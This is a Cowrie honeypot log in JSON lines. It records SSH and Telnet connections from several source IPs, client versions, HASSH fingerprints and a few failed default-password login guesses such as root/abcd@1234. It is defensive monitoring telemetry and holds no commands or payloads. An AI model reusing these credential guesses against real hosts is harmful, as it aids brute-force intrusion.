{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:01:58.320701Z","src_ip":"103.15.226.202","session":"d42bea747bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.235","src_port":63508,"dst_ip":"159.203.135.109","dst_port":22,"session":"8cb549203e68","protocol":"ssh","message":"New connection: 92.118.39.235:63508 (159.203.135.109:22) [session: 8cb549203e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:04.314737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:04.322154Z","src_ip":"92.118.39.235","session":"8cb549203e68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:04.426751Z","src_ip":"92.118.39.235","session":"8cb549203e68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:04.873908Z","src_ip":"92.118.39.235","session":"8cb549203e68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.24","src_port":8082,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c6fd2a48698","protocol":"telnet","message":"New connection: 64.62.156.24:8082 (159.203.135.109:23) [session: 5c6fd2a48698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:47.513402Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":46592,"dst_ip":"159.203.135.109","dst_port":22,"session":"e80ea3f0ab91","protocol":"ssh","message":"New connection: 154.221.23.112:46592 (159.203.135.109:22) [session: e80ea3f0ab91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:47.991958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:47.999869Z","src_ip":"154.221.23.112","session":"e80ea3f0ab91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:48.222793Z","src_ip":"154.221.23.112","session":"e80ea3f0ab91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.0755529403686523,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:02:49.588863Z","src_ip":"64.62.156.24","session":"5c6fd2a48698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":47862,"dst_ip":"159.203.135.109","dst_port":22,"session":"e38c737c9b99","protocol":"ssh","message":"New connection: 154.221.23.112:47862 (159.203.135.109:22) [session: e38c737c9b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:01.567752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:01.573131Z","src_ip":"154.221.23.112","session":"e38c737c9b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":57014,"dst_ip":"159.203.135.109","dst_port":22,"session":"b95788209334","protocol":"ssh","message":"New connection: 154.221.23.112:57014 (159.203.135.109:22) [session: b95788209334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:10.343163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:10.347985Z","src_ip":"154.221.23.112","session":"b95788209334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:15.993380Z","src_ip":"154.221.23.112","session":"b95788209334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33824,"dst_ip":"10.17.0.5","dst_port":22,"session":"7384ccdd05fe","protocol":"ssh","message":"New connection: 2.57.122.238:33824 (10.17.0.5:22) [session: 7384ccdd05fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:21.421306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:21.427287Z","src_ip":"2.57.122.238","session":"7384ccdd05fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:21.527801Z","src_ip":"2.57.122.238","session":"7384ccdd05fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:21.818943Z","src_ip":"2.57.122.238","session":"7384ccdd05fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:22.918839Z","src_ip":"2.57.122.238","session":"7384ccdd05fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":52404,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c6ac9671cb","protocol":"ssh","message":"New connection: 154.221.23.112:52404 (159.203.135.109:22) [session: 79c6ac9671cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:25.714367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:25.718601Z","src_ip":"154.221.23.112","session":"79c6ac9671cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:52.607912Z","src_ip":"154.221.23.112","session":"79c6ac9671cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:57.480052Z","src_ip":"154.221.23.112","session":"79c6ac9671cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.2","message":"Connection lost after 34.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:03:59.918036Z","src_ip":"154.221.23.112","session":"79c6ac9671cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:04:48.000969Z","src_ip":"154.221.23.112","session":"e80ea3f0ab91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:01.587330Z","src_ip":"154.221.23.112","session":"e38c737c9b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:10.349501Z","src_ip":"154.221.23.112","session":"b95788209334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":54722,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1218ab4b694","protocol":"ssh","message":"New connection: 154.221.23.112:54722 (159.203.135.109:22) [session: d1218ab4b694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:10.746123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:10.869376Z","src_ip":"154.221.23.112","session":"d1218ab4b694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:12.405915Z","src_ip":"154.221.23.112","session":"d1218ab4b694","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:14.472909Z","src_ip":"154.221.23.112","session":"d1218ab4b694","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:15.744135Z","src_ip":"154.221.23.112","session":"d1218ab4b694","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.23.112","src_port":44150,"dst_ip":"159.203.135.109","dst_port":22,"session":"4950af57d12e","protocol":"ssh","message":"New connection: 154.221.23.112:44150 (159.203.135.109:22) [session: 4950af57d12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:31.772215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:31.777349Z","src_ip":"154.221.23.112","session":"4950af57d12e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36352,"dst_ip":"10.17.0.5","dst_port":22,"session":"b54ce2684288","protocol":"ssh","message":"New connection: 103.15.226.202:36352 (10.17.0.5:22) [session: b54ce2684288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:32.504023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:32.508384Z","src_ip":"103.15.226.202","session":"b54ce2684288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:32.755909Z","src_ip":"103.15.226.202","session":"b54ce2684288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:33.516982Z","src_ip":"103.15.226.202","session":"b54ce2684288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:34.767391Z","src_ip":"103.15.226.202","session":"b54ce2684288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59476,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e8eb2a61721","protocol":"ssh","message":"New connection: 2.57.122.238:59476 (10.17.0.5:22) [session: 4e8eb2a61721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:41.936683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:41.941289Z","src_ip":"2.57.122.238","session":"4e8eb2a61721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:05:42.042015Z","src_ip":"2.57.122.238","session":"4e8eb2a61721","protocol":"ssh"}
